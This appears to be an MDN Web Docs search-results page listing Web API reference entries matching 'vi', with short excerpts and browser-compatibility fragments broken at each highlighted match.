viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcanmakepayment()chrome full support 61edge full support 16firefox full support 55notes disabled full support 55notes disabled notes av...
...And 2 more matches
PaymentRequest.prototype.id - Web APIs
when constructing an instance of the paymentrequest, you are able to supply an custom id
via paymentdetailsinit dictionary's id member.
... if none is pro
vided, the browser automatically sets the id value to a uuid.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidchrome full support 61edge full support 16firefox full support 55notes disabled full support 55notes disabled notes available only i...
...And 2 more matches
PaymentRequest.shippingOption - Web APIs
it is initially null by when no "selected" shipping options are pro
vided.
...if requestshipping was false (or missing), shippingoption returns null, even the developer pro
vides a selected a shipping option.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshippingoptionchrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes avai...
...And 2 more matches
PaymentResponse.complete() - Web APIs
// initialization of paymentrequest arguments are excerpted for the // sake of bre
vity.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcomplete()chrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes availabl...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari full support yesweb
view android no support nochrome android full support 56 full support 56 no support 53 — 56disabled disabled from version 53 until version 56 (exclusive): this feature is behind the #web-payments preference (needs to be set to enabled).
...And 2 more matches
PaymentResponse.details - Web APIs
the details read-only property of the paymentresponse interface returns a json-serializable object that pro
vides a payment method specific message used by the merchant to process the transaction and determine a successful funds transfer.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdetailschrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available o...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari full support yesweb
view android no support nochrome android full support 56 full support 56 no support 53 — 56disabled disabled from version 53 until version 56 (exclusive): this feature is behind the #web-payments preference (needs to be set to enabled).
...And 2 more matches
Using Performance Timeline - Web APIs
performance extensions performance timeline extends the performance object with three methods that pro
vide different mechanisms to get a set of performance records (metrics), depending on the specified filter criteria.
...performance.mark not supported"); return; } // create some performance entries
via the mark() and measure() methods performance.mark("begin"); do_work(50000); performance.mark("end"); do_work(50000); performance.measure("measure1", "begin", "end"); // use getentries() to iterate all entries var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("all entry[" + i + "]"); print_perf_entry(p[i]); } // use getentries(name, entrytype) ...
...rted"); return; } // print the performanceentry object var json = pe.tojson(); var s = json.stringify(json); log("performanceentry.tojson = " + s); } performance observers the performance observer interfaces allow an application to register an observer for specific performance event types, and when one of those event types is recorded, the application is notified of the event
via the observer's callback function that was specified at the time, the observer was created.
...And 2 more matches
PhotoCapabilities.redEyeReduction - Web APIs
controllable red-eye reduction is available in the source and it is configurable
via the photosettings object.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetredeyereduction experimentalchrome full support 59edge full support ≤79firefox ?
... web
view android full support 59chrome android full support 59firefox android ?
...And 2 more matches
PointerEvent.getCoalescedEvents() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetcoalescedevents experimentalchrome full support 58edge full support 79firefox full support 59ie no support noopera f...
...ull support 45safari no support noweb
view android full support 58chrome android full support 58firefox android partial support 59disabled partial support 59disabled disabled from version 59: this feature is behind the dom.w3c_pointer_events.enabled preference (needs to be set to true).
... to change preferences in firefox,
visit about:config.opera android full support 43safari ios no support nosamsung internet android full support 7.0legend full support full support partial support partial support no support no supportexperimental.
...And 2 more matches
PromiseRejectionEvent.reason - Web APIs
the promiserejectionevent reason read-only property is any javascript value or object which pro
vides the reason passed into promise.reject().
... this in theory pro
vides information about why the promise was rejected.
... syntax reason = promiserejectionevent.reason value a value or object which pro
vides information you can use to understand why the promise was rejected.
...And 2 more matches
PublicKeyCredential - Web APIs
the publickeycredential interface pro
vides information about a public key / private key pair, which is a credential for logging in to a ser
vice using an un-phishable and data-breach resistant asymmetric key pair instead of a password.
...it is either of type authenticatorattestationresponse if the publickeycredential was the results of a na
vigator.credentials.create() call, or of type authenticatorassertionresponse if the publickeycredential was the result of a na
vigator.credentials.get() call.
... examples creating a new instance of publickeycredential here, we use na
vigator.credentials.create() to generate a new credential.
...And 2 more matches
PublicKeyCredentialRequestOptions.extensions - Web APIs
extensions, an optional property of the publickeycredentialrequestoptions dictionary, is an object pro
viding the client extensions and their input values.
... note: an analogous option exists for the creation operation (na
vigators.credentials.create()), see publickeycredentialcreationoptions.extensions.
... u
vi boolean user verification index.
...And 2 more matches
PushEvent.PushEvent() - Web APIs
note that the this constructor is exposed only to a ser
vice worker context.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpushevent() constructor experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable ser
vice ...
... full support 17firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support ser
vice workers and the push api.ie no support noopera full support 37safari no support noweb
view android no support nochrome android full support 42firefox android full support 44 full support ...
...And 2 more matches
PushEvent.data - Web APIs
examples the following example takes data from a pushevent and displays it on all of the ser
vice workers' clients.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdata experimentalchrome full support 57edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable ser
vice workers preference.
... full support 17firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support ser
vice workers and the push api.ie no support noopera full support 44safari no support noweb
view android no support nochrome android full support 57firefox android full support 44 full support 44 ...
...And 2 more matches
RTCConfiguration.iceServers - Web APIs
each object must at least have an urls property, which is an array of one or more strings, each pro
viding one server's url.
... description how the list of servers you pro
vide is used is up to the implementation of the user agent.
... while it can be useful to pro
vide a second server as a fallback in case the first is offline, listing too many servers can delay the user's connection being established, depending on the network's performance and how many servers get used for negotiation before a connection is established.
...And 2 more matches
RTCIceCandidate - Web APIs
the rtcicecandidate interface—part of the webrtc api—represents a candidate internet connecti
vity establishment (ice) configuration which may be used to establish an rtcpeerconnection.
... an ice candidate describes the protocols and routing needed for webrtc to be able to communicate with a remote de
vice.
...the article webrtc connecti
vity pro
vides additional useful details.
...And 2 more matches
RTCIceCandidateStats.networkType - Web APIs
cellular the connection uses a cellular data ser
vice to connect.
... this includes all cellular data ser
vices including edge (2g), hspa (3g), lte (4g), and nr (5g).
... vpn the connection uses a
virtual private network (vpn).
...And 2 more matches
RTCOutboundRtpStreamStats.qpSum - Web APIs
the qpsum property of the rtcoutboundrtpstreamstats dictionary is a value generated by adding the quantization parameter (qp) values for every frame this sender has produced to date on the
video track corresponding to this rtcoutboundrtpstreamstats object.
... in general, the higher this number is, the more hea
vily compressed the
video data is.
...since the value of qp is typically larger to indicate higher compression factors, the larger this sum is, the more hea
vily compressed the stream generally has been.
...And 2 more matches
RTCPeerConnection.createAnswer() - Web APIs
options optional an optional rtcofferoptions object pro
viding options requested for the answer.
... exceptions notreadableerror the identity pro
vider wasn't able to pro
vide an identity assertion.
... example here is a segment of code taken from the code that goes with the article signaling and
video calling.
...And 2 more matches
RTCRtpEncodingParameters - Web APIs
dtx only used for an rtcrtpsender whose kind is audio, this property indicates whether or not to use discontinuous transmission (a feature by which a phone is turned off or the microphone muted automatically in the absence of voice acti
vity).
... scaleresolutiondownby only used for senders whose track's kind is
video, this is a double-precision floating-point value specifying a factor by which to scale down the
video during encoding.
... the default value, 1.0, means that the sent
video's size will be the same as the original.
...And 2 more matches
RTCRtpSender.getCapabilities() static function - Web APIs
all browsers support the primary media kinds: audio and
video.
... because the set of capabilities available tend to be stable for a length of time (people don't install and uninstall codecs and the like very often), the media capabilities can in whole or in part pro
vide a cross-origin method for identifying a user.
... for that reason, in privacy-sensitive contexts, the browser may choose to obscure the capabilities; this might be done, for example, by lea
ving out rarely-used codec configurations.
...And 2 more matches
RTCRtpSender.replaceTrack() - Web APIs
the new track must be of the same media kind (audio,
video, etc) and switching the track should not require negotiation.
... exceptions if the returned promise is rejected, one of the following exceptions is pro
vided to the rejection handler: invalidmodificationerror replacing the rtcrtpsender's current track with the new one would require negotiation.
... the new track is a
video track and its raw or pre-encoded state differs from that of the original track.
...And 2 more matches
RTCRtpStreamStats.kind - Web APIs
the kind property of the rtcrtpstreamstats dictionary is a string indicating whether the described rtp stream contains audio or
video media.
... its value is always either "audio" or "
video".
... this property was pre
viously called mediatype.
...And 2 more matches
ReadableStreamBYOBRequest - Web APIs
the readablestreambyobrequest interface of the streams api represents a pull request into a readablebytestreamcontroller
view.
... a
view, as mentioned below, refers to a typed array representing the destination region to which the associated readablebytestreamcontroller controller can write generated data.
... properties readablestreambyobrequest.
view read only returns the current
view.
...And 2 more matches
Report - Web APIs
reports can be accessed in a number of ways:
via the reportingobserver.takerecords() method — this returns all reports in an observer's report queue, and then empties the queue.
...
via the reports parameter of the callback function passed into the reportingobserver() constructor upon creation of a new observer instance.
... by sending requests to the endpoints defined
via the report-to http header.
...And 2 more matches
Request() - Web APIs
note the following beha
vioural updates to retain security while making the constructor less likely to throw exceptions: if this object exists on another origin to the constructor call, the request.referrer is stripped out.
... if this object has a request.mode of na
vigate, the mode value is converted to same-origin.
... mode: the mode you want to use for the request, e.g., cors, no-cors, same-origin, or na
vigate.
...And 2 more matches
ResizeObserver - Web APIs
resizeobserver avoids infinite callback loops and cyclic dependencies that are often created when resizing
via a callback function.
... resizeobserver.observe() initiates the obser
ving of a specified element.
... resizeobserver.unobserve() ends the obser
ving of a specified element.
...And 2 more matches
SVGAnimatedString - Web APIs
methods the svganimatedstring interface do not pro
vide any specific methods.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedstringchrome full support yesedge full support ≤18firefox full support yesie no support noopera full suppo...
...rt yessafari full support yesweb
view android full support yeschrome android no support nofirefox android full support yesopera android full support yessafari ios full support yessamsung internet android no support noanimvalchrome full support yesedge full support 12firefox full support yesie no support ...
...And 2 more matches
SVGDocument - Web APIs
interface over
view also implement none methods none properties domstring domain domstring referrer svgsvgelement rootelement domstring title domstring url normati...
...the value is an empty string if the user na
vigated to the page directly (not through a link, but, for example,
via a bookmark).
... methods the svgdocument interface does not pro
vide any specific methods.
...And 2 more matches
SVGStringList - Web APIs
interface over
view also implement none methods void clear() domstring initialize(in domstring newitem) domstring getitem(in unsigned long index) domstring insertitembefore(in domstring newitem, in unsigned long index) domstring replaceitem(in domstring newitem, in unsigned long index) domstring removeitem(in unsigned long index) domstring appenditem(in domstring newitem) properties readonly unsigned long numberofitems readonly unsigned long length ...
...if the inserted item is already in a list, it is removed from its pre
vious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its pre
vious list before it is inserted into this list.
...And 2 more matches
ScrollToOptions - Web APIs
the scrolltooptions dictionary of the cssom
view spec contains properties specifying where an element should be scrolled to, and whether the scrolling should be smooth.
... a scrolltooptions dictionary can be pro
vided as a parameter for the following methods: window.scroll() window.scrollby() window.scrollto() element.scroll() element.scrollby() element.scrollto() properties scrolltooptions.top specifies the number of pixels along the y axis to scroll the window or element.
... scrolltooptions.beha
vior specifies whether the scrolling should animate smoothly, or happen instantly in a single jump.
...And 2 more matches
Selection.extend() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetextend experimentalchrome full support yesedge full support 12firefox full support yesie no support noopera full suppor...
...t yessafari full support yesweb
view android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yesoffset parameter is optional experimentalchrome full support yesedge full support ≤79firefox full support ...
... 55ie no support noopera full support yessafari full support yesweb
view android no support nochrome android full support yesfirefox android full support 55opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no sup...
...And 2 more matches
Selection.removeAllRanges() - Web APIs
the selection.removeallranges() method removes all ranges from the selection, lea
ving the anchornode and focusnode properties equal to null and lea
ving nothing selected.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetremoveallranges experimentalchrome full support yesedge full support 12firefox full support yesie full support yesopera ...
... full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full supportexperimental.
...And 2 more matches
Selection - Web APIs
the anchor can be placed before the focus or
vice-versa, depending on the direction you made your selection.
... beha
vior of selection api in terms of editing host focus changes the selection api has a common beha
vior (i.e., shared between browsers) that governs how focus beha
vior changes for editing hosts after certain methods are called.
... the beha
vior is as follows: an editing host gains focus if the pre
vious selection was outside of it.
...And 2 more matches
SharedWorkerGlobalScope - Web APIs
workerglobalscope.na
vigator read only returns the workerna
vigator associated with the worker.
... workerna
vigator is a specific na
vigator object, mostly a subset of the na
vigator for browsing scopes, but adapted to workers.
... also available
via the onconnect property.
...And 2 more matches
StorageEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4d...
...cs/web/api/storageevent" target="_top"><rect x="116" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="176" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">storageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} method over
view void initstorageevent( in domstring type, in boolean canbubble, in boolean cancelable, in domstring key, in domstring oldvalue, in domstring newvalue, in usvstring url, in storage storagearea ); attributes attribute type description key domstring represents the key changed.
...the oldvalue is null when the key has been newly added and therefore doesn't have any pre
vious value.
...And 2 more matches
StorageManager.persist() - Web APIs
syntax na
vigator.storage.persist().then(function(persistent) { ...
... example if (na
vigator.storage && na
vigator.storage.persist) na
vigator.storage.persist().then(function(persistent) { if (persistent) console.log("storage will not be cleared except by explicit user action"); else console.log("storage may be cleared by the ua under storage pressure."); }); specifications specification status comment storagethe definition of 'persist' in that specification.
... li
ving standard initial definition.
...And 2 more matches
TextEncoder.prototype.encodeInto() - Web APIs
this is potentially more performant than the older encode() method especially when the target buffer is a
view into a wasm heap.
...if the beha
vior of the wasm allocator is unknown, rounduptobucketsize() should be an identity function.
... if the beha
vior of your allocator is unknown, you might want to have up to two reallocation steps and make the the first reallocation step multiply the remaining unconverted length by two instead of three.
...And 2 more matches
TextTrackCue - Web APIs
texttrackcue.starttime a double that represents the
video time that the cue will start being displayed, in seconds.
... texttrackcue.endtime a double that represents the
video time that the cue will stop being displayed, in seconds.
... texttrackcue.pauseonexit a boolean for whether the
video will pause when this cue stops being displayed.
...And 2 more matches
TimeEvent - Web APIs
the timeevent interface, a part of svg smil animation, pro
vides specific contextual information associated with time events.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/timeevent" target="...
... timeevent.
view read only is a windowproxy that identifies the window from which the event was generated.
...And 2 more matches
Touch.pageY - Web APIs
the touch.pagey read-only property returns the y coordinate of the touch point relative to the
viewport, including any scroll offset.
... syntax touchitem.pagey; return value a long value that representes the y coordinate of the touch point relative to the
viewport, including any scroll offset.
...the touch.pagex property is the horizontal coordinate of a touch point relative to the
viewport (in css pixels), including any scroll offset.
...And 2 more matches
TouchEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20...
... touchevent.changedtouches read only a touchlist of all the touch objects representing indi
vidual points of contact whose states changed between the pre
vious touch event and this one.
...there are several possible reasons why this might happen (and the exact reasons will vary from de
vice to de
vice, as well as browser to browser): an event of some kind occurred that canceled the touch; this might happen if a modal alert pops up during the interaction.
...And 2 more matches
UIEvent.initUIEvent() - Web APIs
syntax event.inituievent(type, canbubble, cancelable,
view, detail) parameters type is a domstring defining the type of event.
...
view is the windowproxy associated with the event.
... example var e = document.createevent("uievent"); // creates a click event that bubbles, can be cancelled, // and with its
view and detail property initialized to window and 1, // respectively e.inituievent("click", true, true, window, 1); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'uievent.inituievent()' in that specification.
...And 2 more matches
UIEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20...
... uievent.sourcecapabilities read only returns an instance of the inputde
vicecapabilities interface, which pro
vides information about the physical de
vice responsible for generating a touch event.
... uievent.
viewread only returns a windowproxy that contains the
view that generated the event.
...And 2 more matches
URLUtilsReadOnly.hash - Web APIs
li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethash experimentalchrome no support noedge no support nofirefox full support 38 full support 38 no support 3.5 — 38notes notes before firefox 38, firefox returned the hash percent encoded.
... this has been fixed to match the spec.ie no support noopera no support nosafari no support noweb
view android no support nochrome android no support nofirefox android full support 38 full support 38 no support 4 — 38notes notes before firefox 38, firefox returned the hash percent encoded.
...And 2 more matches
USB - Web APIs
the usb interface of the webusb api pro
vides attributes and methods for finding and connecting usb de
vices from a web page.
... event handlers usb.onconnect an event handler called whenever a pre
viously paired de
vice is connected.
... usb.ondisconnect an event handler called whenever a paired de
vice is disconnected.
...And 2 more matches
USBConfiguration - Web APIs
the usbconfiguration interface of the webusb api pro
vides information about a particular configuration of a usb de
vice and the interfaces that it supports.
... constructor usbconfiguration.usbconfiguration() creates a new usbconfiguration object which contains information about the configuration on the pro
vided usbde
vice with the given configuration value.
...this is equal to the bconfigurationvalue field of the configuration descriptor pro
vided by the de
vice defining this configuration.
...And 2 more matches
USBInterface - Web APIs
the usbinterface interface of the webusb api pro
vides information about an interface pro
vided by the usb de
vice.
... an interface represents a feature of the de
vice which implements a particular protocol and may contain endpoints for bidirectional communication.
... constructor usbinterface.usbinterface creates a new usbinterface object which will be populated with information about the interface on the pro
vided usbconfiguration with the given interface number.
...And 2 more matches
USBIsochronousOutTransferPacket - Web APIs
the usbisochronousouttransferpacket interface of the webusb api is part of the response from a call to the isochronoustransferout() method of the usbde
vice interface.
... it represents the status of an indi
vidual packet from a request to transfer data from the usb host to the usb de
vice over an isochronous endpoint.
... constructor usbisochronousouttransferpacket.usbisochronousouttransferpacket() creates a new usbisochronousouttransferpacket object with the pro
vided status and byteswritten fields.
...And 2 more matches
USBOutTransferResult - Web APIs
the usbouttransferresult interface of the webusb api pro
vides the result from a call to the transferout() and controltransferout() methods of the usbde
vice interface.
... it represents the result from requesting a transfer of data from the usb host to the usb de
vice.
... constructor usbouttransferresult.usbouttransferresult() creates a new usbouttransferresult object with the pro
vided status and byteswritten fields.
...And 2 more matches
validityState.badInput - Web APIs
the read-only badinput property of a validitystate object indicates if the user has pro
vided input that the browser is unable to convert.
... example <input type="number" id="age"> var input = document.getelementbyid("age"); if (input.validity.badinput) { console.log("bad input detected…"); } else { console.log("content of input ok."); } specifications specification status comment html li
ving standardthe definition of 'validitystate.badinput' in that specification.
... li
ving standard live standard html 5.1the definition of 'validitystate.badinput' in that specification.
...And 2 more matches
ValidityState.typeMismatch - Web APIs
the read-only typemismatch property of a validitystate object indicates if the value of an <input>, after ha
ving been edited by the user, does not conform to the constraints set by the element's type attribute.
...il address: <input type="email" value="example.com"/> </label> </p> <p> <label> enter a url: <input type="url" value="example.com"/> </label> </p> input:invalid { border: red solid 3px; } the above each produce a typemismatch because the email address is just a domain and the url has no protocol the typemismatch occurs when there is a disconnect between the value expected
via the type attribute and the data that is actually present.
...when the value pro
vided doesn't match the expected value based on the type for other input types, you get different errors.
...And 2 more matches
getTrackById - Web APIs
the
videotracklist method gettrackbyid() returns the first
videotrack object from the track list whose id matches the specified string.
... syntax var thetrack =
videotracklist.gettrackbyid(id); paramters id a domstring indicating the id of the track to locate within the track list.
... return value a
videotrack object indicating the first track found within the
videotracklist whose id matches the specified string.
...And 2 more matches
WebGLRenderingContext.hint() - Web APIs
the webglrenderingcontext.hint() method of the webgl api specifies hints for certain beha
viors.
... syntax void gl.hint(target, mode); parameters target sets which beha
vior to be controlled.
... when using a webgl 2 context, the following values are available additionally: gl.fragment_shader_derivative_hint: same as ext.fragment_shader_derivative_hint_oes mode sets the beha
vior.
...And 2 more matches
WebGLRenderingContext.texSubImage2D() - Web APIs
syntax // webgl 1: void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, arraybuffer
view?
...pixels); void gl.texsubimage2d(target, level, xoffset, yoffset, format, type, html
videoelement?
... 2: void gl.texsubimage2d(target, level, xoffset, yoffset, format, type, glintptr offset); void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, htmlcanvaselement source); void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, htmlimageelement source); void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, html
videoelement source); void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, imagebitmap source); void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, imagedata source); void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, arraybuffer
view srcdata, srcoffset); parameters target a glenum specifying the bin...
...And 2 more matches
Simple color animation - Web APIs
« pre
viousnext » a very basic color animation created using webgl, performed by clearing the drawing buffer with a different random color every second.
... color animation with clear this example pro
vides a simple illustration of color animation with webgl, as well as user interaction.
... <p>a simple webgl program that shows color animation.</p> <p>you can click the button below to toggle the color animation on or off.</p> <canvas id="canvas-
view">your browser does not seem to support html5 canvas.</canvas> <button id="animation-onoff"> press here to <strong>[verb goes here]</strong> the animation </button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : inline-block; font-size : ...
...And 2 more matches
Creating 3D objects using WebGL - Web APIs
« pre
viousnext » let's take our square plane into three dimensions by adding five more faces to create a cube.
... to do this efficiently, we're going to switch from drawing using the vertices directly by calling the gl.drawarrays() method to using the vertex array as a table, and referencing indi
vidual vertices in that table to define the positions of each face's vertices, by calling gl.drawelements().
...we can pass a lot fewer data around by building an array of all 24 vertices, then referring to each vertex by its index into that array instead of mo
ving entire sets of coordinates around.
...And 2 more matches
Web NFC API - Web APIs
the web nfc api allows exchanging data over nfc
via light-weight nfc data exchange format (ndef) messages.
... note: de
vices and tags have to be formatted and recorded specifically to support ndef record format to be used with web nfc.
... interfaces ndefmessage interface that represents ndef messages that can be received from or sent to a compatible de
vice or tag
via ndefreader and ndefwriter objects respectively.
...And 2 more matches
Window: beforeunload event - Web APIs
the document is still
visible and the event is still cancelable at this point.
...if the user confirms, the browser na
vigates to the new page, otherwise it cancels the na
vigation.
... attaching an event handler/listener to window or document's beforeunload event prevents browsers from using in-memory page na
vigation caches, like firefox's back-forward cache or webkit's page cache.
...And 2 more matches
Window.external - Web APIs
the external property of the window api returns an instance of the external interface, which was intended to contain functions related to adding external search pro
viders to the browser.
... methods the external object has the following methods: method description addsearchpro
vider(descriptionurl) dummy function; does nothing.
... issearchpro
viderinstalled() dummy function; does nothing.
...And 2 more matches
Window.innerWidth - Web APIs
more precisely, innerwidth returns the width of the window's layout
viewport.
... the interior height of the window—the height of the layout
viewport—can be obtained from the innerheight property.
... syntax let int
viewportwidth = window.innerwidth; value an integer value indicating the width of the window's layout
viewport in pixels.
...And 2 more matches
Window: pageshow event - Web APIs
the pageshow event is sent to a window when the browser displays the window's document due to na
vigation.
... this includes: initially loading the page na
vigating to the page from another page in the same window or tab restoring a frozen page on mobile oses returning to the page using the browser's forward or back buttons during the initial page load, the pageshow event fires after the load event.
..."persisted" : "not persisted"; console.log('event:', event.type, '-', ispersisted); break; default: console.log('event:', event.type); break; } }; events.foreach(eventname => window.addeventlistener(eventname, eventlogger) ); html <p>open the console and watch the output as you na
vigate to and from this page.
...And 2 more matches
Window.scroll() - Web APIs
examples <!-- put the 100th vertical pixel at the top of the window --> <button onclick="scroll(0, 100);">click to scroll down 100 pixels</button> using options: window.scroll({ top: 100, left: 100, beha
vior: 'smooth' }); notes window.scrollto() is effectively the same as this method.
... specification specification status comment css object model (cssom)
view modulethe definition of 'window.scroll()' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support 3safari full support ...
...And 2 more matches
Window.scrollBy() - Web APIs
examples to scroll down one page: window.scrollby(0, window.innerheight); to scroll up: window.scrollby(0, -window.innerheight); using options: window.scrollby({ top: 100, left: 100, beha
vior: 'smooth' }); notes window.scrollby() scrolls by a particular amount, whereas window.scroll() scrolls to an absolute position in the document.
... specification specification status comment css object model (cssom)
view modulethe definition of 'window.scrollby()' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollbychrome full support 1edge full support 79 full support 79 no support 12 — 79notes notes only scrollby(x-coord, y-coord) is supported.firefox full support 1ie...
...And 2 more matches
WindowEventHandlers.onhashchange - Web APIs
function locationhashchanged() { if (location.hash === '#cool-feature') { console.log("you're
visiting a cool feature!"); } } window.onhashchange = locationhashchanged; using an event listener this example uses an event listener to log a notification whenever the hash has changed.
...'location1' : 'location2'; } the hashchange event the dispatched hashchange event has the following properties: field type description newurl domstring the new url to which the window is na
vigating.
... oldurl domstring the pre
vious url from which the window was na
vigated.
...And 2 more matches
WindowOrWorkerGlobalScope.clearInterval() - Web APIs
the clearinterval() method of the windoworworkerglobalscope mixin cancels a timed, repeating action which was pre
viously established by a call to setinterval().
... specifications specification status comment html li
ving standardthe definition of 'windoworworkerglobalscope.clearinterval()' in that specification.
... li
ving standard method moved to the windoworworkerglobalscope mixin in the latest spec.
...And 2 more matches
WindowOrWorkerGlobalScope.clearTimeout() - Web APIs
the cleartimeout() method of the windoworworkerglobalscope mixin cancels a timeout pre
viously established by calling settimeout().
... specifications specification status comment html li
ving standardthe definition of 'windoworworkerglobalscope.cleartimeout()' in that specification.
... li
ving standard method moved to the windoworworkerglobalscope mixin in the latest spec.
...And 2 more matches
self.createImageBitmap() - Web APIs
syntax const imagebitmappromise = createimagebitmap(image[, options]); const imagebitmappromise = createimagebitmap(image, sx, sy, sw, sh[, options]); parameters image an image source, which can be an <img>, svg <image>, <
video>, <canvas>, htmlimageelement, svgimageelement, html
videoelement, htmlcanvaselement, blob, imagedata, imagebitmap, or offscreencanvas object.
...the value default indicates that implementation-specific beha
vior is used.
... example creating sprites from a sprite sheet this example loads a sprite sheet, extracts indi
vidual sprites, and then renders each sprite to the canvas.
...And 2 more matches
WorkerGlobalScope.self - Web APIs
most of the time it is a specific scope like dedicatedworkerglobalscope, sharedworkerglobalscope, or ser
viceworkerglobalscope.
...e code] } length: 1 name: "array" observe: function observe() { [native code] } prototype: array[0] unobserve: function unobserve() { [native code] } __proto__: function empty() {} <function scope> arraybuffer: function arraybuffer() { [native code] } blob: function blob() { [native code] } boolean: function boolean() { [native code] } data
view: function data
view() { [native code] } date: function date() { [native code] } dedicatedworkerglobalscope: function dedicatedworkerglobalscope() { [native code] } error: function error() { [native code] } // etc.
... this pro
vides a full list of the objects available to that worker scope, so it is quite a useful test if you want to see whether something is available to your worker or not.
...And 2 more matches
WritableStreamDefaultWriter.ready - Web APIs
li
ving standard initial definition.
